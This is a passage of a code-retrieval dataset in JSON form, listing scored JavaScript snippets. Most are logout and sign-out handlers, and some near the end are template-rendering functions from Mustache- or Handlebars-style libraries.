((callbackResponse.data != null)\n\t\t\t&& (callbackResponse.data.redirectUrl != null)\n\t\t\t&& (callbackResponse.data.redirectUrl !== \"\")) {\n\t\n\t\t\twindow.location.replace(callbackResponse.data.redirectUrl);\n\t\t} else {\n\t\t\twindow.location.replace(\"/\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "eb3e7e253a07198d12f932db00ceecbd", "score": "0.72440654", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n authorizeButton.style.display = 'none';\n signoutButton.style.display = 'none';\n document.getElementById('greeting').style.display = 'none';\n fullcalendar.style.display = 'none';\n signinButton.style.display = 'block';\n}", "title": "" }, { "docid": "77688de3985514027bd47fd5493b0b25", "score": "0.72311866", "text": "function logout() {\n window.sessionStorage.clear();\n showLoginStatus();\n}", "title": "" }, { "docid": "86a9150155dd509b2f8d47225ce247b5", "score": "0.723109", "text": "function handleLogOut() {\n setLoggedIn(false);\n setToken(null);\n }", "title": "" }, { "docid": "e1752bbdd1bb4b789b7eea518869f388", "score": "0.723071", "text": "function addLogoutEventListener() {\n navLogoutBtn.addEventListener(\"click\", logoutUser)\n}", "title": "" }, { "docid": "b263830fa5937b3d27405a0c2d95791c", "score": "0.7217301", "text": "function handleLogout() {\n userHasAuthenticated(false);\n history.push(\"/\");\n\n }", "title": "" }, { "docid": "1269ced0d533de23eee9e56bf19db2cc", "score": "0.72160053", "text": "function logout(){\n console.log('CLICKED Log-out button => INTO logout');\n // const oldName = document.querySelector('#username').innerHTML;\n const oldName = localStorage['username'];\n document.body.innerHTML += displayNameModal({\n 'name': oldName\n });\n console.log('OPENED dnm, finished function\\n=========');\n}", "title": "" }, { "docid": "b59052622a35368ab0f51019dc97d35e", "score": "0.71993315", "text": "handleLogout() {\n sessionStorage.removeItem(\"accountIdForEdit\");\n }", "title": "" }, { "docid": "54ff68e54ebdc7486bd4e174caab923b", "score": "0.7199187", "text": "onLogoutClick(e) {\n e.preventDefault();\n this.props.clearCurrentProfile();\n this.props.logoutUser();\n }", "title": "" }, { "docid": "4f832b5a5c75152a8116469504313c04", "score": "0.719747", "text": "function logout() {\n //Hide all messages\n $('.errorMsgSection').hide();\n $('.successSection').hide();\n //Logs user out\n var url = thorApplicationNamespace.getLogoutUrl();\n var windowName = \"ORCID\";\n window.open(url, windowName, \"height=50,width=50\");\n //Sign out the user from OrcId website authentication\n thorApplicationNamespace.callWSJsonP(thorApplicationNamespace.thorForceLogoutUrl, null, null)\n //Closes logout popup\n $('#myModalLogout').modal('toggle');\n}", "title": "" }, { "docid": "1fd485b0ea4b97855e3131d145f0da10", "score": "0.7196424", "text": "function onLogout ()\n {\n window.location.reload();\n }", "title": "" }, { "docid": "cffa1cbd5c718be8b403b5f00bf745ca", "score": "0.7195639", "text": "function logout() {\n sessionStorage.removeItem('userData');\n sessionStorage.removeItem('token');\n showJoin();\n}", "title": "" }, { "docid": "12d1c00622ea95fb124536ed23d4d680", "score": "0.71911997", "text": "function userLogout(e){\n e.preventDefault();\n\n console.log(\"logging out\");\n $.post('/login/executeLogout', function() {\n window.location.href = '/'; //go back to index after logging out\n });\n}", "title": "" }, { "docid": "9138b984a1e10ac46c8e50927d141a86", "score": "0.7190957", "text": "function logoutUser() {\n const logoutBtn = query(\".logout\")\n logoutBtn?.addEventListener(\"click\", (e) => {\n deleteCookies()\n location.reload()\n })\n}", "title": "" }, { "docid": "57a2d46a458e3afc5bf670d211ba94dd", "score": "0.7189815", "text": "onLogOutClicked()\n {\n Auth.deauthenticateUser();\n }", "title": "" }, { "docid": "a401eefb97ddf7c7a21ba2eb40d8bf09", "score": "0.7186708", "text": "function handleSignoutClick(event) {\n\t gapi.auth2.getAuthInstance().signOut();\n\t}", "title": "" }, { "docid": "e55389fe0aafdb741fb74cde7fa44986", "score": "0.7185706", "text": "function logout() {\n fetch(\"php/logout.php\", {\n method: 'POST'\n })\n .then(res => res.json())\n .then(function(text) {\n updatePageLoginBtn(false, null)\n showLogoutSuccess();\n updateCalendar();\n });\n}", "title": "" }, { "docid": "8012cd790e2a86722322f6719d667fb0", "score": "0.7177579", "text": "function signout(){\n\tglobalLoginFlag = 0;\n\tglobalUserName=\"\";\n\t$.mobile.changePage( $(\"#Login\"), {\n \ttransition: \"flow\",\n reverse: true,\n changeHash: true\n });\n\t$(\"#configFooter\").hide();\n\tclearCanvas();\n}", "title": "" }, { "docid": "c9ddaecca59154fefcaa10bfd6820305", "score": "0.71740854", "text": "function logoutUser() {\n\tport.postMessage({ type: 'logout' });\n\tdocument.getElementById('logout').style.display = 'none';\n\tdocument.getElementById('login').style.display = 'block';\n}", "title": "" }, { "docid": "e13bba03d2701d656d5c05f128b9b21c", "score": "0.71735185", "text": "function logOut() {\n\n d3.event.preventDefault();\n window.sessionStorage.clear(); //clear it all\n app.toolkit.eraseCookie('token'); //remove token.\n window.location = \"/\";\n }", "title": "" }, { "docid": "f9990af5ed68e0906b43b526263adeca", "score": "0.71637017", "text": "function logout() {\r\n $(\".user-banner\").hide();\r\n $(\".login\").show();\r\n $(\".me\").text(\"Admin\");\r\n if (wscSession != null) {\r\n wscSession.close();\r\n }\r\n sessionStorage.removeItem(\"sessionId\");\r\n sessionStorage.removeItem(\"loginUri\");\r\n sessionStorage.removeItem(\"userName\");\r\n // There may be multiple parameters in the redirect_uri, so encode it.\r\n window.location.href = protocol + '//' + address + '/logout?wsc_app_uri=' + requestUri + \"&redirect_uri=\" + encodeURIComponent(window.location);\r\n }", "title": "" }, { "docid": "8a9930374694b24e19b07049b9e62a3e", "score": "0.7163625", "text": "function processLogoff(event) {\n\n alert(\"Logging out from TF Website\");\n\n document.getElementById(\"Content-Navigation-bar\").style.display = \"none\";\n document.getElementById(\"Login-Navigation-bar\").style.display = \"initial\";\n document.location.replace(\"./TradeFinanceHome.html\");\n }", "title": "" }, { "docid": "3f1009307b48d86ea9b8b81ad640060d", "score": "0.7163151", "text": "function logout() {\n\n\t$(\"#message ul\").empty();\n\n\t$.ajax({\n\t type: \"POST\",\n\t url: \"/logout\",\n\t success: function(data) {\n\n\t\t\tif (data && data.success) {\n\n\t\t\t\tdisplayErrors([\"Successfully logged out.\"]);\n\n\t\t\t} else {\n\n\t\t\t\tdisplayErrors([\"Error logging out.\"]);\n\t\t\t}\n\t\t}\n\t});\n}", "title": "" }, { "docid": "939d04529296209fbd1f80e5564e2906", "score": "0.71519256", "text": "logout() {\n this._loggedIn = false;\n this.onLogout(this.user);\n this.user = null;\n }", "title": "" }, { "docid": "d5267fb7cb4157695047bb77d4bc6d95", "score": "0.71501344", "text": "function logout() {\n\tslider.clearHistory();\n\tdelete localStorage.auth;\n\tlogin();\n}", "title": "" }, { "docid": "eef21c7eafdc65481981dd5bb0afeb9a", "score": "0.7144272", "text": "onLogout(){\n\t\tthis.props.onLogout(this.props.account.id,this.props.account.service);\n\t}", "title": "" }, { "docid": "02b8561c53136853a0ace21c23fa9b08", "score": "0.714255", "text": "doLogout(){\n \n localStorage.removeItem('token');\n localStorage.removeItem('username');\n alert(\"Currently logged out\");\n \n }", "title": "" }, { "docid": "8151abd766233eb6bb7cb2c069906d37", "score": "0.7141565", "text": "handleSignoutClick(event) {\n window.gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "bc6413e8faca47a3d4b72612f5b01a2e", "score": "0.7126308", "text": "function onLogoutSuccess() {\n $('#flash_message').html(\n \"<div class='alert alert-success' role='alert'>\"+\n \"Logout successfully\" +\n \"</div>\"\n );\n $('#login').removeClass(\"disabled\")\n $('#username').val('');\n $('#password').val('');\n $('#login').val('Login');\n $('#username').show();\n $('#password').show();\n isLoggedIn = false;\n}", "title": "" }, { "docid": "80f08e5bca60d2f113420df6c0b98b1f", "score": "0.7125554", "text": "function logout(evt) {\n evt.preventDefault();\n localStorage.removeItem('user');\n location.reload();\n}", "title": "" }, { "docid": "db587688a09897035545c3b03c7276a3", "score": "0.71252954", "text": "function handleSignoutClick(event) {\r\n gapi.auth2.getAuthInstance().signOut();\r\n}", "title": "" }, { "docid": "db587688a09897035545c3b03c7276a3", "score": "0.71252954", "text": "function handleSignoutClick(event) {\r\n gapi.auth2.getAuthInstance().signOut();\r\n}", "title": "" }, { "docid": "db587688a09897035545c3b03c7276a3", "score": "0.71252954", "text": "function handleSignoutClick(event) {\r\n gapi.auth2.getAuthInstance().signOut();\r\n}", "title": "" }, { "docid": "d3433d2ef3f3fbca209bed1903880992", "score": "0.712419", "text": "function logout() {\n clientlogout = false;\n if (facebookLogin)\n fbLogout();\n minimize();\n stopLoginTimer();\n $('#qnimate').removeClass('popup-box-on');\n $('#addClass').css('display', 'block');\n livechat.ws.close(); // End WS Socket\n livechat.vm.reset(); // Reset Vars\n $('#lvusername').val(\"\");\n $('#lvpassword').val(\"\");\n populateWaitingRoom(false);\n showPanel(livechat.vm.display);\n $('#Capa_videocall').show();\n $('#btnclose').hide();\n $('#btnview').hide();\n $('#emailUpdated').html('');\n}", "title": "" }, { "docid": "8dc35017ff01eaf819de96cd7d69402f", "score": "0.7123522", "text": "get btnLogout() {return $('[onclick=\"logOut()\"]')}", "title": "" }, { "docid": "f42230fd880bbd9e103ea25da0f1713d", "score": "0.7111603", "text": "logout() {\n\t\tif (this.guest === false) {\n\t\t\tserver.send(\"logout\", {})\n\t\t\tthis.username = \"\"\n\t\t} else {\n\t\t\tthis.guest = false\n\t\t\tthis.mute = false\n\t\t}\n\t\tgraph.wipe()\n\t\tserver.queries = {}\n\t\t$(\"input[type='text']\").val(\"\")\n\t\twindowManage({\"account\" : true}) // show account window now\n\t}", "title": "" }, { "docid": "bfa2f794da9524edd7c7e98a9f1f77ec", "score": "0.7107772", "text": "_onLogoutButtonClicked(){this._logout(this.geodanMapsLogoutUrl,this.ahpLogoutUrl).then(this._onLogoutSuccess,this._onLogoutError);}", "title": "" }, { "docid": "9de94363e0184b34035316b735594230", "score": "0.71075654", "text": "function onUserLoggedOut() {\n $(TodoMain).hide();\n $(TodoAbout).hide();\n $(TodoFrontRegister).show();\n $('#btnLogIn').show();\n $('#btnLogOut').hide();\n }", "title": "" }, { "docid": "f7f276f1805d492795048089dc8bde26", "score": "0.71067685", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "f7f276f1805d492795048089dc8bde26", "score": "0.71067685", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "144105f809fe4046a3cb647563b66da6", "score": "0.70966053", "text": "function handleSignOut() {\n User.signOut();\n}", "title": "" }, { "docid": "1ba5441d5f4ad5e1ef226b9099efc74a", "score": "0.70956033", "text": "function cmdLogout_Click() {\n\twindow.location.href = \"login.html\"\n\twebsocket.disconnect();\n}", "title": "" }, { "docid": "ce85163d483d316d213837ab733e5a1f", "score": "0.70936507", "text": "function handleSignoutClick(event) {\n\tgapi.auth2.getAuthInstance().signOut();\n}", "title": "" }, { "docid": "7767c0c0b5f0ae157cd693ee2f6bc690", "score": "0.7092101", "text": "function logOut() {\n //alert(\"See you later!\");\n output.innerHTML = logInView;\n let logInElement = document.querySelector(\"#logIn\");\n\n logInElement.addEventListener(\"click\", logIn);\n history.pushState({ data: \"\" }, null, \"/Login\")\n\n }", "title": "" }, { "docid": "98a997f60fbcb36605d48e804bf6fc69", "score": "0.7091484", "text": "function handleSignoutClick(event) {\r\n gapi.auth2.getAuthInstance().signOut();\r\n}", "title": "" }, { "docid": "b20d4e9dc1bfafa751d21df692b2c5dd", "score": "0.7088402", "text": "function authLogout() {\n sessionStorage.removeItem('logintoken');\n}", "title": "" }, { "docid": "cfe9b32cc3f679c92ebeabadfb8f9f04", "score": "0.7087052", "text": "function logout() {\n document.getElementById('info').style.display = 'none';\n this.setState({page: 'logout'});\n this.setState({isLoggedIn: false});\n makeAjaxRequest('logout');\n}", "title": "" }, { "docid": "64684f0facda5cee1a96acaaeac73d1a", "score": "0.70817614", "text": "function logout() {\r\n svc('/d1/user/logout', {}, function (data) {\r\n location.reload();\r\n });\r\n}", "title": "" }, { "docid": "0aace1942daa61cc5f8ba69df1f98f93", "score": "0.7080095", "text": "function logout() {\n userService.logout();\n userService.login(true);\n }", "title": "" }, { "docid": "6bc4be879d4fb15e9565d814f4cb5957", "score": "0.7079972", "text": "function logout() {\n $('#logout').click(() => {\n const options = {\n contentType: 'application/json',\n type: 'DELETE',\n url: '/token'\n };\n $.ajax(options)\n .done(() => {\n window.location.href = '/index.html';\n });\n });\n }", "title": "" }, { "docid": "b6cb64675d56537a8788ac3349df6c05", "score": "0.70696104", "text": "function handleLogout() {\n setActiveUser(null);\n UserModel.logout();\n }", "title": "" }, { "docid": "dcc4858a7a8e942f0577cf9bf357e269", "score": "0.70684713", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "dcc4858a7a8e942f0577cf9bf357e269", "score": "0.70684713", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "dcc4858a7a8e942f0577cf9bf357e269", "score": "0.70684713", "text": "function handleSignoutClick(event) {\n gapi.auth2.getAuthInstance().signOut();\n }", "title": "" }, { "docid": "640491c1852dd393019c72da73a4dfbc", "score": "0.7068031", "text": "function logOut() {\n console.log(\"Logged out\");\n $scope.logged_in = !$scope.logged_in;\n }", "title": "" }, { "docid": "e5cf325147f5254600bc2628304d2ba9", "score": "0.70640665", "text": "function logout() {\r\n\tdocument.form_logout.submit()\r\n}", "title": "" }, { "docid": "1c32b35b5d97e831c18348ac465e4580", "score": "0.70627695", "text": "logoutOnClick(event) {\n localStorage.removeItem('jwt');\n window.location.reload();\n }", "title": "" }, { "docid": "e83b76ad1b240c1fde39946a2cc5bfe7", "score": "0.7055299", "text": "function logout() {\n $.ajax({\n type: \"DELETE\",\n contentType: \"application/json\",\n url: baseUrl + \"/fabric/security/token\",\n dataType: \"json\",\n data: ' ',\n success: function () {\n authenticated = false;\n }\n });\n $('#messagebox').hide(\"slow\");\n $('#loginbox').show();\n authenticated = false;\n }", "title": "" }, { "docid": "06b7a08a7a18c63452a4b2cf6def3eba", "score": "0.7053602", "text": "handleLogOut(){ \n window.location.reload();\n }", "title": "" }, { "docid": "42685f449cdfa6185dd3d3cd291863fd", "score": "0.70472056", "text": "function logout()\n{\n\tresetLogin();\n\tsetupLogin();\n}", "title": "" }, { "docid": "6244c097d505a0cf2fed78fe917cbf6a", "score": "0.70426965", "text": "function logout(_event) {\n localStorage.clear();\n window.location.href = \"login.html\";\n }", "title": "" }, { "docid": "902b98c97f3a8fa64cde0d0361c48824", "score": "0.70371616", "text": "function logout() {\n context.user = '';\n deleteCookie('user');\n deleteCookie('connect.sid');\n if(getCookie('code')){\n deleteCookie('code');\n }\n hideMenu();\n loadTemplate('api/logout',function(response) {\n context.clear();\n context.login();\n document.location.href = '/';\n },'GET','',false);\n}", "title": "" } ]
28735c18856f31a9cafab123a458c4a6
This function is used to render an arbitrary template in the current context by higherorder sections.
[ { "docid": "6ab52e1ddeab01da7cbca7607fa1fa3f", "score": "0.58177507", "text": "function subRender (template) {\n return self.render(template, context, partials, config);\n }", "title": "" } ]
[ { "docid": "98e7d11d5ece7003cf60cf362734997b", "score": "0.649844", "text": "function template(extending){\n\tvar extendedView = extending.attr(\"templating-extends\");\n\tvar sections = extending.find(\"[templating-section]\");\n\textending.load(\"views/\"+extendedView+\".html\", function(){\n\t\thandleYields($(this), sections);\n\t});\n}", "title": "" }, { "docid": "eeebf6b5d00a6714257c494b9b0473f2", "score": "0.64725524", "text": "function c(e,i,s,a){// This function is used to render an artbitrary template\n// in the current context by higher-order functions.\nfunction o(t){return i.render(t,s)}for(var r,l,d,u=\"\",h=0,f=e.length;f>h;++h)switch(r=e[h],l=r[1],r[0]){case\"#\":if(d=s.lookup(l),\"object\"==typeof d||\"string\"==typeof d)if(_(d))for(var p=0,g=d.length;g>p;++p)u+=c(r[4],i,s.push(d[p]),a);else d&&(u+=c(r[4],i,s.push(d),a));else if(n(d)){var m=null==a?null:a.slice(r[3],r[5]);d=d.call(s.view,m,o),null!=d&&(u+=d)}else d&&(u+=c(r[4],i,s,a));break;case\"^\":d=s.lookup(l),// Use JavaScript's definition of falsy. Include empty arrays.\n// See https://github.com/janl/mustache.js/issues/186\n(!d||_(d)&&0===d.length)&&(u+=c(r[4],i,s,a));break;case\">\":d=i.getPartial(l),n(d)&&(u+=d(s));break;case\"&\":d=s.lookup(l),null!=d&&(u+=d);break;case\"name\":d=s.lookup(l),null!=d&&(u+=t.escape(d));break;case\"text\":u+=l}return u}", "title": "" }, { "docid": "950777921ac9acd64b4579fca6cc6e8a", "score": "0.625152", "text": "function render(template) {\n\t\ttemplate = templates[template];\n\t\treturn function (context, partials, indent) {\n\t\t\treturn template.render(context, partials || templates, indent);\n\t\t};\n\t}", "title": "" }, { "docid": "4b8cb8f9d78b2130faf66841d6bc0d49", "score": "0.6250862", "text": "_injectTemplate() {\n if ($(this.templateSelector).length) return;\n\n $(document.body).append(pst.template(this.context));\n }", "title": "" }, { "docid": "64066fcd26aebd6f6a59712b2ae88634", "score": "0.603983", "text": "function subRender(template) {\n\t return writer.render(template, context);\n\t }", "title": "" }, { "docid": "b5c1ae356522f027b4482cc54d40a3d3", "score": "0.6022769", "text": "render(ctx) {}", "title": "" }, { "docid": "f199b884799d78c3914ab03d75f5e4d3", "score": "0.5961008", "text": "function subRender(template) {\n\t return self.render(template, context, partials);\n\t }", "title": "" }, { "docid": "774a2203e060cf937c12036711f4c6dc", "score": "0.58890635", "text": "function subRender(template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "774a2203e060cf937c12036711f4c6dc", "score": "0.58890635", "text": "function subRender(template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "60808d3a4f9f351db0e9eebc2224d345", "score": "0.5882806", "text": "function subRender(template) {\n return self.render(template, context, partials, config);\n }", "title": "" }, { "docid": "d7b5491030dac24933094ae7017f2f35", "score": "0.5874731", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "7a138961702f8f3c62baa61114b2addf", "score": "0.5868891", "text": "enterTemplateElement() {}", "title": "" }, { "docid": "ab30dcc4c07120a5c0de1f4fb7b2e385", "score": "0.58557105", "text": "function renderTemplate() {\n return function (data) {\n var template = components.getTemplate(data.template);\n\n if (!template) {\n throw new Error('Missing template for ' + JSON.stringify(_.omit(data, 'state')));\n }\n\n return Promise.resolve(multiplex.render(template, data))\n .then(media.append(data));\n };\n}", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "5aeffb04a56cb406f8b3c18bee0a7360", "score": "0.58550924", "text": "function subRender (template) {\n return self.render(template, context, partials);\n }", "title": "" }, { "docid": "9bed5505b6aed1b4d96f2c3576291017", "score": "0.5840511", "text": "function conTem(template,data)\n{\n\tvar html=template(data);\n\t$(\"section\").html(html);\n}", "title": "" }, { "docid": "5824d187eeb212411922aa000e226520", "score": "0.57871795", "text": "function subRender(template) {\r\n return self.render(template, context, partials);\r\n }", "title": "" }, { "docid": "e659208004d71aebbc699de00ac79773", "score": "0.57738", "text": "function handleYields(template, sections){\n\tvar yields = template.find(\"[templating-yield]\");\n\tyields.each(function(index){\n\t\tvar yieldName = this.getAttribute(\"templating-yield\");\n\t\tvar that = this;\n\t\tsections.each(function(index){\n\t\t\tvar sectionName = this.getAttribute(\"templating-section\");\n\t\t\tif(yieldName === sectionName){\n\t\t\t\tthat.innerHTML = this.innerHTML;\n\t\t\t}\n\t\t});\n\t});\n\t\n\tif(typeof callback !== 'undefined'){\n\t\t$(\"img\").load(function(){\n\t\t\tcallback();\n\t\t});\n\t}\n}", "title": "" }, { "docid": "d19189f1daa939f104cb92820dd11a0d", "score": "0.5725324", "text": "_renderInsideOut(root, domain, dynamics) {\n domain = domain || this._root;\n dynamics = dynamics || [];\n\n var node, context, useDomain, dydom, processed = [], rendered;\n root.inner.forEach(node => {\n // only handle sections for this first outside-in loop\n if(!(node instanceof SectionNode)) {\n processed.push(node);\n return;\n }\n\n // get context, missing here is either skip or exception thrown\n context = this._getContext(node, domain, dynamics);\n if(!context) {\n this._missingHandler(node.raw);\n return;\n }\n\n // get domain for remaining node cases\n // if section-pass-as-context, use current domain, as isn't a real subdomain\n // otherwise, is repeating section or dynamic, convert context to dynamic domain\n useDomain = node.passcontext ? domain : context.toDynamicDomain();\n\n // pass section as context, render node to text, then finally pass to unresolved context function\n if(node.passcontext && !context.isresolved) {\n rendered = this._renderInsideOut(node, useDomain, dynamics);\n processed.push(context.value(rendered));\n return;\n }\n\n // standard section bound to context within a dynamic data domain\n if(!context.isrepeating) {\n if(this._display(node.inclusive, useDomain)) {\n processed.push(this._renderInsideOut(node, useDomain, dynamics));\n }\n return;\n }\n\n // only thing left is repeating sections\n var pieces = [];\n for(let i = 0; i < context.length; ++i) {\n dydom = useDomain.dynamic.get(i);\n dynamics.push(dydom);\n if(this._display(true, dydom)) {\n pieces.push(this._renderInsideOut(node, dydom, dynamics));\n }\n dynamics.pop();\n }\n // either just add nodes to processed or convert to grammatic list\n if(!node.list) {\n processed = processed.concat(pieces);\n } else {\n switch(pieces.length) {\n case 0:\n break;\n case 1:\n processed.push(pieces[0]);\n break;\n case 2:\n processed.push(`${pieces[0]} and ${pieces[1]}`);\n break;\n default:\n let last = pieces.pop();\n processed.push(pieces.join(\", \") + `, and ${last}`);\n break;\n }\n }\n });\n\n // this part will run from inner-most out on all remaining nodes\n var text = \"\";\n processed.forEach(node => {\n if(node instanceof TextNode) {\n text += node.text;\n } else if(typeof node === \"string\") {\n text += node;\n } else {\n context = this._getContext(node, domain, dynamics);\n if(!context) {\n text += this._missingHandler(node.raw);\n } else {\n text += this._renderValue(node, context.value);\n }\n }\n });\n return text;\n }", "title": "" }, { "docid": "6d6f9de47c4a6597dbd7ce4b590a5812", "score": "0.5717782", "text": "function subRender(template) {\n\t\t\treturn self.render(template, context, partials);\n\t\t}", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: templateSpec.compat }, env);\n result = partials[name](context, options);\n }\n if (result != null) {\n if (indent) {\n var lines = result.split('\\n');\n for (var i = 0, l = lines.length; i < l; i++) {\n if (!lines[i] && i + 1 === l) {\n break;\n }\n\n lines[i] = indent + lines[i];\n }\n result = lines.join('\\n');\n }\n return result;\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n lookup: function(depths, name) {\n var len = depths.length;\n for (var i = 0; i < len; i++) {\n if (depths[i] && depths[i][name] != null) {\n return depths[i][name];\n }\n }\n },\n lambda: function(current, context) {\n return typeof current === 'function' ? current.call(context) : current;\n },\n\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n\n fn: function(i) {\n return templateSpec[i];\n },\n\n programs: [],\n program: function(i, data, depths) {\n var programWrapper = this.programs[i],\n fn = this.fn(i);\n if (data || depths) {\n programWrapper = program(this, i, fn, data, depths);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(this, i, fn);\n }\n return programWrapper;\n },\n\n data: function(data, depth) {\n while (data && depth--) {\n data = data._parent;\n }\n return data;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = Utils.extend({}, common, param);\n }\n\n return ret;\n },\n\n noop: env.VM.noop,\n compilerInfo: templateSpec.compiler\n };\n\n var ret = function(context, options) {\n options = options || {};\n var data = options.data;\n\n ret._setup(options);\n if (!options.partial && templateSpec.useData) {\n data = initData(context, data);\n }\n var depths;\n if (templateSpec.useDepths) {\n depths = options.depths ? [context].concat(options.depths) : [context];\n }\n\n return templateSpec.main.call(container, context, container.helpers, container.partials, data, depths);\n };\n ret.isTop = true;\n\n ret._setup = function(options) {\n if (!options.partial) {\n container.helpers = container.merge(options.helpers, env.helpers);\n\n if (templateSpec.usePartial) {\n container.partials = container.merge(options.partials, env.partials);\n }\n } else {\n container.helpers = options.helpers;\n container.partials = options.partials;\n }\n };\n\n ret._child = function(i, data, depths) {\n if (templateSpec.useDepths && !depths) {\n throw new Exception('must pass parent depths');\n }\n\n return program(container, i, templateSpec[i], data, depths);\n };\n return ret;\n }", "title": "" }, { "docid": "909333c5ceafd00f1d8acae374fd6c39", "score": "0.5705088", "text": "function template(templateSpec, env) {\n /* istanbul ignore next */\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n if (!templateSpec || !templateSpec.main) {\n throw new Exception('Unknown template object: ' + typeof templateSpec);\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n env.VM.checkRevision(templateSpec.compiler);\n\n var invokePartialWrapper = function(partial, indent, name, context, hash, helpers, partials, data, depths) {\n if (hash) {\n context = Utils.extend({}, context, hash);\n }\n\n var result = env.VM.invokePartial.call(this, partial, name, context, helpers, partials, data, depths);\n\n if (result == null && env.compile) {\n var options = { helpers: helpers, partials: partials, data: data, depths: depths };\n partials[name] = env.compile(partial, { data: data !== undefined, compat: 